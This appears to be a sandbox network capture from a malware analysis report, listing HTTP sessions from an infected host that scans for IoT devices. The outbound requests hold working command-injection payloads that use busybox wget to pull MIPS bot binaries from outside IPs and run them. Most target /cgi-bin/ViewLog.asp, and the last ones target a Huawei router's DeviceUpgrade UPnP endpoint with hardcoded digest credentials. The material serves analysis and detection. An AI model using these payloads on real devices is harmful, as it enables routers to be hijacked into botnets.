                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                852192.168.2.154771662.29.37.1028080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:01.655987978 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:05.911936998 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:12.055757046 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                853192.168.2.154609885.10.196.1358080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:01.658724070 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:01.846086025 CET142INHTTP/1.0 400 Bad Request
                                                Data Raw: 43 6c 69 65 6e 74 20 73 65 6e 74 20 61 6e 20 48 54 54 50 20 72 65 71 75 65 73 74 20 74 6f 20 61 6e 20 48 54 54 50 53 20 73 65 72 76 65 72 2e 0a
                                                Data Ascii: Client sent an HTTP request to an HTTPS server.


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                854192.168.2.153781485.209.48.858080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:01.660568953 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:01.849416971 CET255INHTTP/1.1 401 Unauthorized
                                                Content-Type: text/plain
                                                Www-Authenticate: Basic realm="traefik"
                                                Date: Thu, 23 Nov 2023 04:23:01 GMT
                                                Content-Length: 17
                                                Connection: close
                                                Data Raw: 34 30 31 20 55 6e 61 75 74 68 6f 72 69 7a 65 64 0a
                                                Data Ascii: 401 Unauthorized


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                855192.168.2.153369295.86.89.2398080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:01.669719934 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                856192.168.2.153896894.120.45.218080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:01.697535038 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                857192.168.2.154633295.111.233.898080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:01.835026979 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:02.032129049 CET639INHTTP/1.1 404 Not Found
                                                Date: Thu, 23 Nov 2023 04:23:01 GMT
                                                Server: Apache/2.4.41 (Ubuntu)
                                                Content-Length: 393
                                                Connection: close
                                                Content-Type: text/html; charset=iso-8859-1
                                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 39 32 2e 31 36 38 2e 30 2e 31 34 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at 192.168.0.14 Port 80</address></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                858192.168.2.154682094.15.45.218080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:01.835143089 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                859192.168.2.155105231.136.175.2218080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:01.846153021 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:02.424021006 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:03.608009100 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:06.167923927 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:11.031812906 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                860192.168.2.155099094.26.14.1538080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:01.848386049 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:02.055293083 CET163INHTTP/1.1 302 Found
                                                Location: https://192.168.0.14:443/cgi-bin/ViewLog.asp
                                                Connection: close


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                861192.168.2.154586894.198.217.368080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:01.849625111 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:02.073033094 CET327INHTTP/1.1 404 Not Found
                                                Cache-Control: must-revalidate,no-cache,no-store
                                                Content-Disposition: inline;filename=f.txt
                                                Content-Type: application/json
                                                Connection: close
                                                Data Raw: 7b 22 74 69 6d 65 73 74 61 6d 70 22 3a 31 37 30 30 37 31 33 33 38 31 39 35 34 2c 22 73 74 61 74 75 73 22 3a 34 30 34 2c 22 65 72 72 6f 72 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 2c 22 70 61 74 68 22 3a 22 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 22 7d
                                                Data Ascii: {"timestamp":1700713381954,"status":404,"error":"Not Found","path":"/cgi-bin/ViewLog.asp"}


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                862192.168.2.155185294.122.79.718080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:01.865269899 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                863192.168.2.155322831.200.61.1808080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:01.865317106 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                864192.168.2.1559944156.254.102.15137215
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:01.876422882 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:23:03.544019938 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
